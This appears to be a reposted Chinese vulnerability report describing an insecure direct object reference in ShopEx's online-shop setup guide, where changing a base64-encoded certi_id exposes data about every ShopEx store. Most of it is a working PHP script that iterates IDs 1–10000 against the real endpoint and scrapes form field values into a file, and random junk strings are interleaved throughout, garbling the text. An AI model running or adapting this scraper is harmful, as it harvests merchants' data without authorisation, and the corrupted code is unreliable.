ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
- o1 ~9 B1 F  ^! J7 e7 N5 O; n6 vShopEx某接口缺陷,可遍历所有网站
详细说明：
! X: y6 f8 t# f' S! I0 b% y. K! e. K问题出现在shopex 网店使用向导页面

9 r* m# ^8 b8 A! h! `

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

% `7 P$ J* I( p  _7 m) E" t  L
4 b2 q3 X' ]. X3 ?
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
/ r; C' T5 q* y, z& C+ v


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


8 q) c% f5 @. F. j+ w0 o
<?php
& H' y/ }2 e$ k: f
2 g# x5 s& f6 J6 p- ]! x                for ($i=1; $i < 10000; $i++) { //遍历

; Y6 W# X+ s  s1 C; I) \5 B5 m- ~                        ShowshopExD($i);
. D+ s' \0 g4 f* {5 I
                }

! n1 ~, f, Z  r4 l1 Z3 |                function ShowshopExD($cid) {
5 G7 l2 f' j' h0 b8 B( a# L9 _! V
                $url='http://guide.ecos.shopex.cn/step2.php';

* B0 c; C+ ~" k' E; C                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

, F- b/ Q4 ^' d( M  f# {        $url = $url.'?refer='.$refer;
( J! o$ I* |0 w. o4 o( x
        $ch = curl_init($url);
* u; t: m" y* V5 H3 k' d! q
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
( r5 d) n+ }2 A/ X& X  \9 [! _$ u
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
* D0 N6 |" q  e7 o' L. q/ _) F# v* P
        $result = curl_exec($ch);
7 ]( h' M% a; P5 I0 [  e
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
) D# @+ [2 N8 R$ @: ^) w
        if(strpos($result,$refer))
) s, S) i+ f  G+ d
0 W* h# H  q; H' c3 w2 J        {
; j/ L7 t( M) H: b8 u
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
' L" _- T& G. }4 `+ ^
: ]2 Q6 O4 z6 l( t6 W                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

" c( Z3 n, @0 f5 |) U4 V                foreach ($value[1] as $key) {

- Y0 q$ Z9 M3 a                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

4 b8 L% x* A) t. e, C                        $col =$res[1][0].':'.$res[3][0]."\r\n";

: f- s* l- `/ c+ i# k* T* P2 Q                        fwrite($fp, $col, strlen($col));
( l& F# J* H( D1 n  m
                }

                echo '--------------------------------'."\r\n";
5 e# u  N- U5 x7 U" M
                fclose($fp);

        }

7 N/ D+ E- C) B- P/ b8 T        flush();
3 K& D' v/ J/ H& A+ y$ A
        curl_close($ch);

                }

: x  I& b$ J4 U2 o?>
& f* m. ]; p3 t& O1 b漏洞证明：
0 D' O$ y  g$ N. _http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
' ?7 n: I7 l3 d6 \! zrefer换成其他加密方式